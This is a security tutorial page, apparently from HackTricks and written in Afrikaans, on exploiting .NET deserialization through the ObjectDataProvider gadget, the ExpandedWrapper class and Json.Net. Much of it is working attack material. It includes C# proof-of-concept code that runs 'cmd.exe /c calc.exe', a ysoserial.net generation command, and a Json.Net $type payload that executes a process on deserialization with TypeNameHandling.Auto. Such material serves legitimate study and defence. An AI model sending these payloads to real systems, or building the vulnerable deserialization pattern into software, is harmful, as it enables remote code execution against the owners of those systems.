Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Hierdie pos is toegewy aan die begrip van hoe die gadget ObjectDataProvider uitgebuit word om RCE te verkry en hoe die Serialiseringsbiblioteke Json.Net en xmlSerializer misbruik kan word met daardie gadget.

ObjectDataProvider Gadget

Vanuit die dokumentasie: die ObjectDataProvider-klas wikkel en skep 'n objek wat jy as 'n bindende bron kan gebruik. Ja, dit is 'n vreemde verduideliking, so laat ons kyk wat hierdie klas het wat so interessant is: Hierdie klas maak dit moontlik om 'n willekeurige objek te wikkel, gebruik MethodParameters om willekeurige parameters in te stel, en dan MethodName te gebruik om 'n willekeurige funksie van die willekeurige objek wat gedeclareer is met die willekeurige parameters te roep. Daarom sal die willekeurige objek 'n funksie uitvoer met parameters terwyl dit gedeserialiseer word.

Hoe is dit moontlik

Die System.Windows.Data-naamruimte, gevind binne die PresentationFramework.dll by C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, is waar die ObjectDataProvider gedefinieer en geïmplementeer word.

Deur dnSpy te gebruik, kan jy die kode van die klas wat ons belangstel, inspekteer. In die onderstaande afbeelding sien ons die kode van PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Soos jy kan sien, wanneer MethodName ingestel word, word base.Refresh() geroep, laat ons kyk wat dit doen:

Ok, laat ons voortgaan om te sien wat this.BeginQuery() doen. BeginQuery word oorskryf deur ObjectDataProvider en dit is wat dit doen:

Let daarop dat aan die einde van die kode this.QueryWorke(null) geroep word. Laat ons kyk wat dit uitvoer:

Let daarop dat hierdie nie die volledige kode van die funksie QueryWorker is nie, maar dit wys die interessante deel daarvan: Die kode roep this.InvokeMethodOnInstance(out ex); dit is die lyn waar die gestelde metode uitgevoer word.

As jy wil nagaan dat deur net die MethodName** in te stel dit uitgevoer sal word**, kan jy hierdie kode hardloop:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Merk op dat jy C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll as verwysing moet byvoeg om System.Windows.Data te laai

ExpandedWrapper

Deur die vorige uitbuiting te gebruik, sal daar gevalle wees waar die object as 'n ObjectDataProvider instansie gedeserializeer word (byvoorbeeld in DotNetNuke kwesbaarheid, deur XmlSerializer te gebruik, is die object gedeserializeer deur GetType). Dan, sal daar geen kennis van die objektype wat ingesluit is in die ObjectDataProvider instansie wees (Process byvoorbeeld). Jy kan meer inligting oor die DotNetNuke kwesbaarheid hier vind.

Hierdie klas maak dit moontlik om die objektype van die objekte wat ingesluit is in 'n gegewe instansie te spesifiseer. Dus kan hierdie klas gebruik word om 'n bronobjek (ObjectDataProvider) in 'n nuwe objektype in te sluit en die eienskappe wat ons benodig te voorsien (ObjectDataProvider.MethodName en ObjectDataProvider.MethodParameters). Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, omdat ons in staat sal wees om _ObjectDataProvider_ binne 'n ExpandedWrapper instansie te verpak en wanneer dit gedeserializeer word sal hierdie klas die OjectDataProvider objek skep wat die funksie aangedui in MethodName sal uitvoer.

Jy kan hierdie wrapper toets met die volgende kode:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Op die ampertlike webwerf word aangedui dat hierdie biblioteek toelaat om enige .NET objek te serializeer en deserialiseer met Json.NET se kragtige JSON serializer. Dus, as ons die ObjectDataProvider gadget kon deserialiseer, kon ons 'n RCE veroorsaak deur net 'n objek te deserialiseer.

Json.Net voorbeeld

Eerstens, laat ons 'n voorbeeld sien van hoe om 'n objek te serializeer/deserializeer met behulp van hierdie biblioteek:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Misbruik van Json.Net

Deur ysoserial.net te gebruik, het ek die uitbuiting geskep:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In hierdie kode kan jy die uitbuiting toets, hardloop dit net en jy sal sien dat 'n sakrekenaar uitgevoer word:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Last updated